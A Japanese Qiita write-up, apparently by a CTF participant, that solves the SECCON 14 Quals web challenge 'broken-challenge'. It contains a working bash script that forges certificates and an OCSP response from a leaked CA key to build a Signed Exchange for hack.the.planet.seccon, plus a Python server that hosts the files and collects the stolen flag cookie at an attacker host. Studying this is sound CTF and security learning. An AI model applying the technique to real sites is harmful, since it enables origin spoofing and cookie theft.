1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[web] broken-challenge (SECCON 14 Quals) writeup

1
Posted at

  • Source: SECCON 14 Quals
  • Author: Satoooon

XSSの問題だが、XSSを発生させるべきWebサーバーが存在せず、botだけが与えられた。そんな無茶な。

conf.js
import puppeteer from "puppeteer";

export const challenge = {
  name: "broken-challenge",
  rateLimit: 4, // max requests per 1 minute
};

export const flag = {
  value: process.env.FLAG,
  validate: (flag) => typeof flag === "string" && /^SECCON\{.+\}$/.test(flag),
};

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--js-flags=--noexpose_wasm,--jitless",
      "--disable-features=HttpsFirstBalancedModeAutoEnable",
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    await context.setCookie({
      name: "FLAG",
      value: flag.value,
      domain: "hack.the.planet.seccon",
      path: "/",
    });

    const page = await context.newPage();
    await page.goto(url, { timeout: 3_000 });
    await sleep(5_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};
index.js
import express from "express";
import rateLimit from "express-rate-limit";
import fs from "fs";

import { visit, challenge, flag } from "./conf.js";

if (!flag.validate(flag.value)) {
  console.log(`Invalid flag: ${flag.value}`);
  process.exit(1);
}

const app = express();

app.use(express.json());
app.set("view engine", "ejs");



app.get("/", (req, res) => {
  res.render("index", {
    name: challenge.name
  });
});

app.get("/hint", (req, res) => {
  res.render("hint", {
    hint: fs.readFileSync("./cert.key"), 
  });
});

app.use(
  "/api",
  rateLimit({
    windowMs: 60_000,
    max: challenge.rateLimit,
  })
);

app.post("/api/report", async (req, res) => {
  const { url } = req.body;
  if (
    typeof url !== "string" ||
    (!url.startsWith("http://") && !url.startsWith("https://"))
  ) {
    return res.status(400).send("Invalid url");
  }

  try {
    await visit(url);
    res.sendStatus(200);
  } catch (e) {
    console.error(e);
    res.status(500).send("Something went wrong");
  }
});

app.listen(1337);

botのソースコードを確認すると、hack.the.planet.secconでXSSできればflagが得られることが分かる。

  try {
    await context.setCookie({
      name: "FLAG",
      value: flag.value,
      domain: "hack.the.planet.seccon",
      path: "/",
    });

    const page = await context.newPage();
    await page.goto(url, { timeout: 3_000 });
    await sleep(5_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

/hintでルート証明書の秘密鍵を得られるのが気になる。

app.get("/hint", (req, res) => {
  res.render("hint", {
    hint: fs.readFileSync("./cert.key"), 
  });
});

ということで、この証明書を用いてChromeがhack.the.planet.secconからのコンテンツだと解釈するようなサーバーを自分で用意し、flagを得る問題だと推測できる。

最初はDNS関係の何かだと思っていたが、hack.the.planet.secconに名前解決できるような方法が見つからず。LLMと壁打ちしていたらSigned Exchange (SXG)という技術を提案してくれた。
初見の技術なので調べてみたが、どうやら署名付きのHTTPレスポンスをパッケージ化して配信し、originからの配信と同様に扱う(=cookieも乗る)というものらしい。

ということで、/hintから証明書を取得してsxgファイルとその検証に必要な証明書チェーンを作成する。作成にはgen-signedexchangegen-certurlを用いた。payload.htmlは適当なXSSペイロードになる。

#!/bin/bash
set -e

# 0. 準備
# 1時間前の時刻 (UTC) を計算 (Botの時刻ズレ対策)
# GNU dateとBSD date(Mac)の両対応
if date -v -10M > /dev/null 2>&1; then
  DATE_STR=$(date -v -10M -u +"%Y-%m-%dT%H:%M:%SZ")
else
  DATE_STR=$(date -u -d "10 minutes ago" +"%Y-%m-%dT%H:%M:%SZ")
fi
echo "[*] Signing Date: $DATE_STR"

# ==========================================
# 1. Leaf証明書 (hack.the.planet.seccon) の作成
# ==========================================
echo "[*] Generating Leaf Certificate..."

# 秘密鍵の生成
openssl ecparam -name prime256v1 -genkey -noout -out leaf.key

# CSR (署名要求) の生成
openssl req -new -key leaf.key -out leaf.csr -subj "/CN=hack.the.planet.seccon"

# 拡張設定ファイル (SXGに必須のCanSignHttpExchangesを追加)
cat <<EOF > leaf.ext
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage=digitalSignature
subjectAltName=DNS:hack.the.planet.seccon
1.3.6.1.4.1.11129.2.1.22=ASN1:NULL
EOF

# CA鍵(cert.key)を使って署名し、leaf.crtを発行
openssl x509 -req -in leaf.csr \
    -CA cert.crt -CAkey cert.key -CAcreateserial \
    -out leaf.crt -days 7 -sha256 -extfile leaf.ext

# ==========================================
# 2. OCSPレスポンスの捏造
# ==========================================
echo "[*] Generating Valid OCSP Response..."

# index.txt (CAデータベース) の作成
touch index.txt
# 証明書のシリアル番号を取得
SERIAL=$(openssl x509 -in leaf.crt -serial -noout | cut -d= -f2)
# index.txtに有効なエントリを追加 (V = Valid)
echo -e "V\t251231235959Z\t\t$SERIAL\tunknown\t/CN=hack.the.planet.seccon" > index.txt

# OCSPリクエストの作成 (ダミー)
openssl ocsp -issuer cert.crt -cert leaf.crt -reqout req.der -no_nonce

# OCSPレスポンスの生成と署名 (CA鍵を使用)
# これにより "正当なCAが署名した有効なOCSP" が出来上がる
openssl ocsp -index index.txt -rsigner cert.crt -rkey cert.key -CA cert.crt \
    -reqin req.der -respout ocsp.der -ndays 7

# ==========================================
# 3. cert.cbor と SXG の生成
# ==========================================
echo "[*] Generating cert.cbor and SXG..."

# 証明書チェーン (CBOR) の生成
cat leaf.crt cert.crt > chain.pem
gen-certurl -pem chain.pem -ocsp ocsp.der > cert.cbor

# SXGファイルの生成
gen-signedexchange \
  -uri https://hack.the.planet.seccon/ \
  -content payload.html \
  -certificate leaf.crt \
  -privateKey leaf.key \
  -certUrl https://attacker.claustra01.net/cert.cbor \
  -validityUrl https://hack.the.planet.seccon/resource.validity \
  -date "$DATE_STR" \
  -o exploit.sxg

echo "[+] Done! Files 'exploit.sxg' and 'cert.cbor' are ready."
echo "[+] Restart server.py and submit: https://attacker.claustra01.net/exploit.sxg"

これで生成したファイルを配信するサーバーを書く。

import http.server
import socketserver
import os

PORT = 50000

class ExploitHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # 1. SXGファイルへのリクエスト
        if self.path.endswith('.sxg'):
            try:
                with open('exploit.sxg', 'rb') as f:
                    content = f.read()
                
                self.send_response(200)
                # ここで強制的に正しいMIMEタイプを指定
                self.send_header('Content-Type', 'application/signed-exchange;v=b3')
                self.send_header('X-Content-Type-Options', 'nosniff')
                self.send_header('Content-Length', str(len(content)))
                self.send_header('Access-Control-Allow-Origin', '*')
                self.end_headers()
                self.wfile.write(content)
                return
            except FileNotFoundError:
                self.send_error(404, "File not found")
                return

        # 2. CBORファイルへのリクエスト
        elif self.path.endswith('.cbor'):
            try:
                with open('cert.cbor', 'rb') as f:
                    content = f.read()
                
                self.send_response(200)
                # ここで強制的に正しいMIMEタイプを指定
                self.send_header('Content-Type', 'application/cert-chain+cbor')
                self.send_header('Content-Length', str(len(content)))
                self.send_header('Access-Control-Allow-Origin', '*')
                self.end_headers()
                self.wfile.write(content)
                return
            except FileNotFoundError:
                self.send_error(404, "File not found")
                return
        
        # 3. 成功ログの受信 (/log?flag=...)
        elif '/log' in self.path:
            print(f"\n[!!!] FLAG RECEIVED: {self.path}\n")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'OK')
            return

        # その他は標準のハンドラに任せる
        super().do_GET()

print(f"Listening on port {PORT}...")
# アドレス再利用設定 (Restart時のエラー防止)
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("0.0.0.0", PORT), ExploitHandler) as httpd:
    httpd.serve_forever()

このサーバーを公開してbotへ投げるとflagが飛んできた。なお、手元のブラウザでは(当然)証明書が異なるため動作しない。
SECCON{congratz_you_hacked_the_planet_521ce0597cdcd1e3}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?